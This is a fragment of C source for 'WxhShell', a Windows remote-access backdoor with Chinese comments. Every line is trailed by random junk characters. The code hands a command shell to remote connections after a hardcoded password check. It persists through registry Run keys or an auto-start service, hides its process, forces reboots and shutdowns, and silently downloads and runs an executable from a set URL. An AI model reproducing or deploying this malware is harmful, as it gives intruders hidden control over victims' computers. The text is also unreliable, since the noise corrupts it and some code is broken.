  case 'd': { lAA&#-#YG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ip`1Wv_  
    if(Boot(SHUTDOWN)) 5x|$q kI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AA)pV-  
    else { X.>~DT%0Lm  
    closesocket(wsh); n $N M  
    ExitThread(0); S"@6,  
    } 5FuV=Yuc  
    break; pGD-K41O]  
    } $[b}r#P  
  // 获取shell 43y@9P0  
  case 's': { `jR8RDD  
    CmdShell(wsh); ^V1\boo=  
    closesocket(wsh); g]JRAM  
    ExitThread(0); GFE3p  
    break; GOGS"q  
  } X^dasU{*  
  // 退出 4YI6&  
  case 'x': { c%O97J.5b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }"nm3\Df  
    CloseIt(wsh); !SE  
    break; `n-/~7  
    } ?7TmAll<.s  
  // 离开 cAGM|%  
  case 'q': { ^`M%g2x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6HJsIeQ  
    closesocket(wsh); ;nL7Hizo,  
    WSACleanup(); a#+$.e5  
    exit(1); |A,.mOT  
    break; Z ztp %2c  
        } -hfkF+=U'  
  } R\X;`ptT  
  } \2[tM/+Bs  
-dF (_ %C  
  // 提示信息 B5+Q%)52  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rN7JJHV  
} )g?jHm-p\  
  } & ^1 b]f  
 \v+c.  
  return; )(yaX  
} *Q?8OwhJ  
tS\Db'C7  
// shell模块句柄 A-.Wd7^~*  
int CmdShell(SOCKET sock) Im-qGB0C  
{ Z_dL@\#|  
STARTUPINFO si; K:qc "Q=C  
ZeroMemory(&si,sizeof(si)); vol (%wB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } ,}g](!m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t~dK\>L  
PROCESS_INFORMATION ProcessInfo; x!W5'DO  
char cmdline[]="cmd"; /&G|.Cx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ltU{P|7!E  
  return 0; P.Cn[64a+@  
} 6Y6t.j0vN.  
Y1>OhHuN  
// 自身启动模式 RTbV!I  
int StartFromService(void) rx;;|eb,  
{ AqQ5L>:Gq  
typedef struct 9bRUN<  
{ GutiqVP:B  
  DWORD ExitStatus; ;5$ GJu(  
  DWORD PebBaseAddress; nLwfPj  
  DWORD AffinityMask; vg3iT }  
  DWORD BasePriority; eHKb`K7C.  
  ULONG UniqueProcessId; |"KdW#.x  
  ULONG InheritedFromUniqueProcessId; a(|0 '^  
}   PROCESS_BASIC_INFORMATION; ;XyryCo  
DzA'MX  
PROCNTQSIP NtQueryInformationProcess;  u+z  
W`oyDg,D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .waj.9&[l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R}3th/qf  
K0o${%'@7  
  HANDLE             hProcess; wpC .!T  
  PROCESS_BASIC_INFORMATION pbi; ki2 `gLK  
MQcIH2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p/u  
  if(NULL == hInst ) return 0; ek/zQM@%  
lb*;Z7fx<'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ">h$(WCK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0*kS\R=P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `'P&={p8  
(nBh6u*  
  if (!NtQueryInformationProcess) return 0; "X!1^)W -8  
UUbO\_&y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t>LSP$  
  if(!hProcess) return 0; ~#VDJ[Z  
P*}aeu&lnD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [g: cG  
y4 ]5z/  
  CloseHandle(hProcess); z<^LY]  
}M"])B I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "Dq^r9  
if(hProcess==NULL) return 0; VM&Ref4  
s S3RK  
HMODULE hMod; W?!rqo2SP  
char procName[255]; Hi$N"16A5z  
unsigned long cbNeeded; 3m4 sh~  
n"}*C|(k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bUM4^m  
5A 5t  
  CloseHandle(hProcess);  @e\ @EW  
_\,lv \u  
if(strstr(procName,"services")) return 1; // 以服务启动 [h&s<<# D  
c=?6`m,"M  
  return 0; // 注册表启动 i| ,}y`C#  
} vF~q".imC  
4s'%BM-r-  
// 主模块 5{iNR4sq  
int StartWxhshell(LPSTR lpCmdLine) /[/{m]  
{ <"3${'$k`  
  SOCKET wsl; lx2%=5+i;  
BOOL val=TRUE; /CKnXU;  
  int port=0; U1fqs{>  
  struct sockaddr_in door; CK|AXz+EN  
^5?|Dj  
  if(wscfg.ws_autoins) Install(); #cW :04  
]mNsG0r6  
port=atoi(lpCmdLine); qkp0'f*}  
o /1+ }f  
if(port<=0) port=wscfg.ws_port; =b1 y*?  
aMkuyqPf{  
  WSADATA data; ySDo(EI4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N'l2$8  
(]&B' 1b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9H:J&'Xi7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zy?!;`c*{  
  door.sin_family = AF_INET; GNB'.tJ:0Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BNb_i H  
  door.sin_port = htons(port); * uccY_  
2~ETu&R:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7PUy`H,&  
closesocket(wsl); cH|J  
return 1; 7i02M~*uS  
} 08k  
Qgf|obrEi6  
  if(listen(wsl,2) == INVALID_SOCKET) { &m9= q|;m  
closesocket(wsl); BXxJra/V  
return 1; +7 j/.R  
} E[zq<&P@  
  Wxhshell(wsl); %gSmOW2.c^  
  WSACleanup(); aCIz(3^  
mF4OLG3L0  
return 0; )$a6l8  
EKN<KnU%  
} 1;{nU.If  
k 7@:e$7  
// 以NT服务方式启动 ~q/~ u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i|/G!ht^e  
{ /|h+,]< >  
DWORD   status = 0; YD9vWk \/  
  DWORD   specificError = 0xfffffff; u$ci{<  
'IVC!uL,%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0@E I@X;q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SJ;{  Hg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _F4=+dT|  
  serviceStatus.dwWin32ExitCode     = 0; \'('HFr,  
  serviceStatus.dwServiceSpecificExitCode = 0; ~d,$ nZ"z  
  serviceStatus.dwCheckPoint       = 0; `qCL&(`%  
  serviceStatus.dwWaitHint       = 0; .A6pPRy e  
9asA-'fZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (sH4 T>  
  if (hServiceStatusHandle==0) return; -=UvOzw  
K9VP@[zbJ  
status = GetLastError(); UMFM.GI  
  if (status!=NO_ERROR) a~JZc<ze  
{ v/$<#2|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'iwTvkf{  
    serviceStatus.dwCheckPoint       = 0; Z?9G2<i  
    serviceStatus.dwWaitHint       = 0; \)aFYDq#\  
    serviceStatus.dwWin32ExitCode     = status; j':<7n/A  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pd `~#!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH,e$t#@@~  
    return; 0lOan  
  } 4W E)2vkS  
>lek@euqw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I)r6*|mz  
  serviceStatus.dwCheckPoint       = 0; e85E+S%  
  serviceStatus.dwWaitHint       = 0; MAX?,- x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KZ65# UVX  
} gF2 93Ez  
q%]5/.J  
// 处理NT服务事件,比如:启动、停止 e~,+rM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V!TGFo}  
{ VtU2&  
switch(fdwControl) Z$('MQ|Ur  
{ !Zc#E,  
case SERVICE_CONTROL_STOP: sE{5&aCSR  
  serviceStatus.dwWin32ExitCode = 0; 6-5{7E}/b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ={6vShG)m  
  serviceStatus.dwCheckPoint   = 0; ?LvU7  
  serviceStatus.dwWaitHint     = 0; ]1h9:PF  
  { eE\T,u5:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qzZ;{>_f  
  } wsAb8U C_  
  return; 3{ea~G)[9  
case SERVICE_CONTROL_PAUSE: UQ)^`Zj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i`}9VaUG  
  break; S~|\bnE  
case SERVICE_CONTROL_CONTINUE: q 4Ok$~"I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GQjU="+  
  break; l6MBnvi   
case SERVICE_CONTROL_INTERROGATE: m5P@F@  
  break; `J7@G]X;2  
}; J~ *>pp#U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  7(o:J  
} oIE3`\xS  
mWLiXKnb  
// 标准应用程序主函数 Dv^M/z2&[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <<@F{B7h  
{ AmCymT3P*e  
XF@34b5(  
// 获取操作系统版本 e%7#e%1s  
OsIsNt=GetOsVer(); VjeF3pmBa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gS|6,A9  
H>-{.E1bG  
  // 从命令行安装 8ddBQfCY  
  if(strpbrk(lpCmdLine,"iI")) Install(); usi3z9P>n  
6J -=6t|  
  // 下载执行文件 {t]8#[lo  
if(wscfg.ws_downexe) { ZlcEeG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f&Juq8s_0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZF<$6"4N  
} CRNt5T>qH  
'Awd:Aed5  
if(!OsIsNt) { @v\8+0  
// 如果时win9x,隐藏进程并且设置为注册表启动 xxC2 h3  
HideProc(); "837b/>/  
StartWxhshell(lpCmdLine); *A0d0M]cg  
} |h.@Xy  
else C+Wa(K  
  if(StartFromService()) D'UIxc8  
  // 以服务方式启动 &IG*;$c!  
  StartServiceCtrlDispatcher(DispatchTable); nHLMF7\  
else hij 9r z  
  // 普通方式启动 `j 4>  
  StartWxhshell(lpCmdLine); )3 '8T>^<K  
Dh68=F0  
return 0; {!1RlW  
} j:HIcCp  
Fc^!="H  
wf^p?=Ke  
JI&.d:  
=========================================== n3\~H9  
9?sm-qP  
}:]CXrdg>  
c? Mbyay  
Bf3 QB]9  
xi)$t#K"  
" 9LSV^[QUH  
K[Vj+qdyl  
#include <stdio.h> -'^:+FU  
#include <string.h> c^z) [  
#include <windows.h> oE,TA2  
#include <winsock2.h> 6$H`wDh#(&  
#include <winsvc.h> O;0VKNn['  
#include <urlmon.h> m;ju@5X  
D"IxQ2}k  
#pragma comment (lib, "Ws2_32.lib") 4Zn [F^p  
#pragma comment (lib, "urlmon.lib") I |"'  
!Yz CK*av1  
#define MAX_USER   100 // 最大客户端连接数 ~ ^fb`f+%  
#define BUF_SOCK   200 // sock buffer @c).&7  
#define KEY_BUFF   255 // 输入 buffer XI,=W  
zd{sw}  
#define REBOOT     0   // 重启 p!\ GJ a",  
#define SHUTDOWN   1   // 关机 Z=]ujlD  
C)QKodI  
#define DEF_PORT   5000 // 监听端口 Z tc\4  
28 zZ3|Z3  
#define REG_LEN     16   // 注册表键长度 7W>(T8K X\  
#define SVC_LEN     80   // NT服务名长度 G?Za/G  
w zi7pJjXh  
// 从dll定义API |+qsO ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !=u=P9I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R^"mGe\LL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $Z8riVJ7j-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4E+8kz'  
Emw]`  
// wxhshell配置信息 d<w]>T5VW  
struct WSCFG { gu&W:FY  
  int ws_port;         // 监听端口 |\94a  
  char ws_passstr[REG_LEN]; // 口令 }]^/`n  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;jBS:k?  
  char ws_regname[REG_LEN]; // 注册表键名  pQ7<\8s*  
  char ws_svcname[REG_LEN]; // 服务名 }nSu7)3$B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uG-S$n"7K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CY$ 1;/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :m>Vp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PzustC|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hDc2T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7\gu; [n  
o'8%5 M@  
}; q(Ow:3&  
bH!_0+$P  
// default Wxhshell configuration ^oNcZK>  
struct WSCFG wscfg={DEF_PORT, Fl}!3k>c  
    "xuhuanlingzhe", t3=K>Y@w  
    1, \[%_ :9eq  
    "Wxhshell", _joW%`T8  
    "Wxhshell", Y=y 0`?K  
            "WxhShell Service", .:e#!~Ki  
    "Wrsky Windows CmdShell Service", 8~g~XUl  
    "Please Input Your Password: ", qggRS)a  
  1, RLcC>Z  
  "http://www.wrsky.com/wxhshell.exe", ZvK.X*~s  
  "Wxhshell.exe" N,:G5WxW  
    }; ~yA^6[a=  
Dn#UcMO>W  
// 消息定义模块 O9N+<sU=X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C 'S_M@I=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TP)o0U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j,z)x[3}  
char *msg_ws_ext="\n\rExit."; OF:0jOW  
char *msg_ws_end="\n\rQuit."; ZP-9KA$"  
char *msg_ws_boot="\n\rReboot..."; ]cW Q9  
char *msg_ws_poff="\n\rShutdown..."; 5xU}}[|~-  
char *msg_ws_down="\n\rSave to "; I.`D BI#-f  
H}(WL+7  
char *msg_ws_err="\n\rErr!"; qac:"z'9  
char *msg_ws_ok="\n\rOK!"; r$Ik* R  
'pF$6n;  
char ExeFile[MAX_PATH]; ==trl#kQ%%  
int nUser = 0; dCLNZq h6  
HANDLE handles[MAX_USER]; /+WC6&  
int OsIsNt; %ofq  
f"^t~q[VS  
SERVICE_STATUS       serviceStatus; 2X(2O':Uc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f 0~Z@\  
yN06` =  
// 函数声明 w7\vrS>&  
int Install(void); e)3Mg^  
int Uninstall(void); GoPMWbI7  
int DownloadFile(char *sURL, SOCKET wsh); 6="o&!  
int Boot(int flag); \x5>H:\Y  
void HideProc(void); ZT`" {#L  
int GetOsVer(void); fd62m]X  
int Wxhshell(SOCKET wsl); "Nz"|-3Irv  
void TalkWithClient(void *cs); Yq:/dpA_  
int CmdShell(SOCKET sock); e-.(O8  
int StartFromService(void); 1f?Fuw  
int StartWxhshell(LPSTR lpCmdLine); 8cRc5X  
9Vt6);cA-]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jwI1 I{x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -O?A"  
<TS ps!(#  
// 数据结构和表定义 !>&G+R+k  
SERVICE_TABLE_ENTRY DispatchTable[] = lLK||2d  
{  Bgai|l  
{wscfg.ws_svcname, NTServiceMain}, OC\cN%qlw  
{NULL, NULL} ^;?w<9Y  
}; SCfk!GBVD  
ETR7% 0$r  
// 自我安装 S(rnVsW%Ki  
int Install(void) B}aW y&D  
{ F)19cKx7  
  char svExeFile[MAX_PATH]; v[?gM.SF  
  HKEY key; > :0N)Pj  
  strcpy(svExeFile,ExeFile); auM1k]  
7 Rc/<,X  
// 如果是win9x系统,修改注册表设为自启动 ?q0a^c?A^  
if(!OsIsNt) { uwt29  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M3dUGM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZvK3Su)f1  
  RegCloseKey(key); @(."[O:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TT){15T;"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qR , 5  
  RegCloseKey(key); 1k"i"kRM  
  return 0; vi[~Qt  
    } h,K&R8S  
  } pTJ_DH  
} )5Cqyp~P  
else { ol`q7i.  
&?gcnMg$,J  
// 如果是NT以上系统,安装为系统服务 R/2L9Lcv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H D,6  
if (schSCManager!=0) #}8VUbJ  
{ OSom-?|w  
  SC_HANDLE schService = CreateService P8tCzjrV  
  ( $-E<{   
  schSCManager, "'>fTk_  
  wscfg.ws_svcname, r8A'8g4cM  
  wscfg.ws_svcdisp, FtWO[*#  
  SERVICE_ALL_ACCESS, O_5;?$[m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e0#{'_C  
  SERVICE_AUTO_START, DnN+W  
  SERVICE_ERROR_NORMAL, "k),;1  
  svExeFile, j}8^gz]  
  NULL, }Fu2%L>  
  NULL, g7eI;Tpv  
  NULL, QEmktc1 7  
  NULL, E#kH>q@K`$  
  NULL TETfRnm  
  ); qzk]9`i1:  
  if (schService!=0) dO-Zj#%7z8  
  { c|4_nT 2  
  CloseServiceHandle(schService); [ .3Gb}B  
  CloseServiceHandle(schSCManager); (8em5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9AD0|,g  
  strcat(svExeFile,wscfg.ws_svcname); .0|_J|{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i_I`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 475jmQ{q  
  RegCloseKey(key); zD s V"D8  
  return 0; &d"s cM5  
    } 6\)u\m`7-l  
  } U/7jK40  
  CloseServiceHandle(schSCManager); u R!'v  
} ux[13]yY  
} 'qeUI}[  
BpF}H^V-  
return 1; m^^#3*qa  
} 9 Lqz:4}  
LBcqFvj{&  
// 自我卸载 %Wc$S]>i  
int Uninstall(void) #4Cf-$J  
{ {|e7^_ke  
  HKEY key; E/E|*6R  
&(20*Vn,O  
if(!OsIsNt) { mUiJ@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WkoYkkuzj  
  RegDeleteValue(key,wscfg.ws_regname); pU u')y  
  RegCloseKey(key); D P:}<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %\%&1  
  RegDeleteValue(key,wscfg.ws_regname); mn\GLR.  
  RegCloseKey(key); Qb:.WMj[q+  
  return 0; gER(&L4[  
  } >rFM8P(  
} ==bT0-M.~  
} @_h=,g #@  
else { U.|0y=  
^9|&w.:@Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .GW)"`HbU  
if (schSCManager!=0) eBe5H =I@  
{ "fSK7%BP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TI7)yxa=`  
  if (schService!=0) X`I=Z ysB  
  { |@)jS.Bn  
  if(DeleteService(schService)!=0) { {_4zm&  
  CloseServiceHandle(schService);  o7AI  
  CloseServiceHandle(schSCManager); o* QZf *M  
  return 0; o:Tpd 0F  
  } M!\6Fl{ b  
  CloseServiceHandle(schService); JOki4N  
  } <Oj'0NK-  
  CloseServiceHandle(schSCManager); ?j} Fxr  
} qPCI@5n3T?  
} az Oib=3fz  
'EkjySZ]F{  
return 1; X|60W  
} <|:$_&(  
\(1WLP$2U  
// 从指定url下载文件 cty  
int DownloadFile(char *sURL, SOCKET wsh) dwm>! h  
{ ` h1>rP  
  HRESULT hr; =&vRT;6  
char seps[]= "/"; @Lm(bW  
char *token; {.UK{nA?sm  
char *file; ;S+"z;$m  
char myURL[MAX_PATH]; FFf ~Vmw  
char myFILE[MAX_PATH]; d,t'e?  
S,C/l1s  
strcpy(myURL,sURL); Zb~G&. 2g  
  token=strtok(myURL,seps); V}4u1oG  
  while(token!=NULL) cHwN=mg]S  
  { cLMFC1=b  
    file=token; !(N,tZ  
  token=strtok(NULL,seps); !]!9 $6n  
  } 4rNuAK`2  
[xPO'@Y  
GetCurrentDirectory(MAX_PATH,myFILE); hx@E,  
strcat(myFILE, "\\"); @ds.)sKA>  
strcat(myFILE, file); :?7^STc  
  send(wsh,myFILE,strlen(myFILE),0); rf$ eg  
send(wsh,"...",3,0); 4n.EA,:g:(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qexv_:C  
  if(hr==S_OK) cA+O]",}  
return 0; }4xz,oN  
else $ 2k9gO  
return 1; 4&E &{<;  
p,#**g:  
} e&=T`  
5U/C 0{6  
// 系统电源模块 Il<ezD{  
int Boot(int flag) \J{ %xW>  
{ =]sM,E,n  
  HANDLE hToken; +RD{<~i  
  TOKEN_PRIVILEGES tkp; /909ED+)>9  
74%Uojl"  
  if(OsIsNt) { 0 oHnam  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @X#e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OlYCw.Zu  
    tkp.PrivilegeCount = 1; z%L\EP;o}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1=Q3WMT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {hKf 'd9E  
if(flag==REBOOT) { 1$ {Cwb/F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) " G0HsXi  
  return 0;  <:`x> _  
} ^g n7DiIPH  
else { u_ym=N57`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZDl(q~4?z  
  return 0; _l](dqyuN(  
} v iM6q<Ht  
  }  Z_?r5M;  
  else { LgoUD*MbQ  
if(flag==REBOOT) { 1;y?!;FD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OW8"7*irT  
  return 0; ?rv5Z^D'  
} 9vz"rHV  
else { ~ny4Ay$#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {@`Z`h" N  
  return 0; +8q]O%B   
} [d,")Ng  
} <*74t%AJ%  
-$_h]x* W  
return 1; Fu#mMn0c  
} $~2qEe.h  
ai(J%"D"  
// win9x进程隐藏模块 _#6ekl|%  
void HideProc(void) x-ShY&k  
{ s4Z5t$0|  
-<WQ>mrB&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %wS5m#n  
  if ( hKernel != NULL ) EX^j^#N  
  { \^rAH@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M\ {W&o1!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c{s%kVOzg  
    FreeLibrary(hKernel); H-1y2AQ  
  } A{b?ZT~2]  
Dz>v;%$S-  
return; [1gWc`#  
} xk8P4`;d$  
&+V|Ldh  
// 获取操作系统版本 /I3>u  
int GetOsVer(void) kkE1CHY  
{ 7tr;adjs  
  OSVERSIONINFO winfo; c_^-`7g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9hIcnPu  
  GetVersionEx(&winfo); O(oGRK<xM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Fd<d[b?  
  return 1; eZ~ZWb,%  
  else rZv5>aEI  
  return 0; cA{zyq26  
} 'X(G><R9  
geRD2`3;  
// 客户端句柄模块 .I&]G  
int Wxhshell(SOCKET wsl) _4jRUsvjY  
{ |0$wRl+kN  
  SOCKET wsh; }^ j"@{~  
  struct sockaddr_in client; rwUKg[ 1N  
  DWORD myID; 2,O;<9au<  
Lg[_9 `\  
  while(nUser<MAX_USER) h tn?iLq  
{ ]OKs 65  
  int nSize=sizeof(client); vo_m$/O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #(G#O1+  
  if(wsh==INVALID_SOCKET) return 1; e8"?Qm7 J  
GY%48}7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G&/RJLX|w  
if(handles[nUser]==0) l|P(S(ikh  
  closesocket(wsh); HO(9 )sK  
else U^$o< 2  
  nUser++; *@2?_b}A ^  
  } m# ]VdO'f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `:XrpD  
v&GBu  
  return 0; 8s_'tw/{  
} ovn)lIs  
^gpswhp 5  
// 关闭 socket *MFsq}\ $  
void CloseIt(SOCKET wsh) hDJ84$eVZ  
{ E%vG#  
closesocket(wsh); <|'C|J_!  
nUser--; cR+9^DzA  
ExitThread(0); 45;{tS.z,B  
} CYZx/r<  
?=;dNS@i@  
// 客户端请求句柄 OJL?[<I  
void TalkWithClient(void *cs) /M;A)z  
{ Gdd lB2L)x  
{-( B  
  SOCKET wsh=(SOCKET)cs; =gb.%a{R  
  char pwd[SVC_LEN]; p Rn vd|  
  char cmd[KEY_BUFF]; pZ,P_?  
char chr[1]; C1@6 r%YD  
int i,j; <-:gaA`KM  
|3?qL  
  while (nUser < MAX_USER) { a0oM KGW:  
'K=n}}&:  
if(wscfg.ws_passstr) { \)?[1b&[_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5!T\L~tyt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b[3K:ot+  
  //ZeroMemory(pwd,KEY_BUFF); 4Y[uqn[  
      i=0;  S oY=  
  while(i<SVC_LEN) { 1} {bHj  
^y,% Tv>  
  // 设置超时 i-'rS/R  
  fd_set FdRead; `)[bu  
  struct timeval TimeOut; tU02t#8  
  FD_ZERO(&FdRead); Wv]NFHe#  
  FD_SET(wsh,&FdRead); IG1+_-H:  
  TimeOut.tv_sec=8; ! `yg bI.  
  TimeOut.tv_usec=0; 3rEBG0cf]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ugtb`d{ Sl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u~,@Zg87  
5__8+R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <B*}W2\  
  pwd=chr[0]; %{*}KsS`p  
  if(chr[0]==0xd || chr[0]==0xa) { p2;-*D  
  pwd=0; xe;1D'(   
  break; |5 sI=?p&t  
  } (#WE9~Sru  
  i++; 1)8;9 Ba:  
    } 6Hz45  
gQJy"f  
  // 如果是非法用户,关闭 socket %.kJ@@_e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g_\U-pzr  
} 6_a42#  
hVe@:1og#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8kz7*AO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R<+K&_  
]:B|_| H  
while(1) { jOppru5U  
H[ DrG6GA  
  ZeroMemory(cmd,KEY_BUFF); T.vkGB=QZ%  
1'dL8Y  
      // 自动支持客户端 telnet标准   6@TGa%:G  
  j=0; $\xS~ w  
  while(j<KEY_BUFF) { ewYZ} "o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T/#$44ub  
  cmd[j]=chr[0]; HF9d~7R  
  if(chr[0]==0xa || chr[0]==0xd) { FTx&] QN?  
  cmd[j]=0; Y3+GBqP  
  break; jrGVC2*rD  
  } 'OKDB7Ni  
  j++; 5gV%jQgkC  
    } |0vV?f$  
UwuDs2 t  
  // 下载文件 /`YHPeXu  
  if(strstr(cmd,"http://")) { #\kYGr-G)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Y"@VcN  
  if(DownloadFile(cmd,wsh)) [:geDk9O#'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tti]H9g_  
  else N'nI ^=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \e%H5W x  
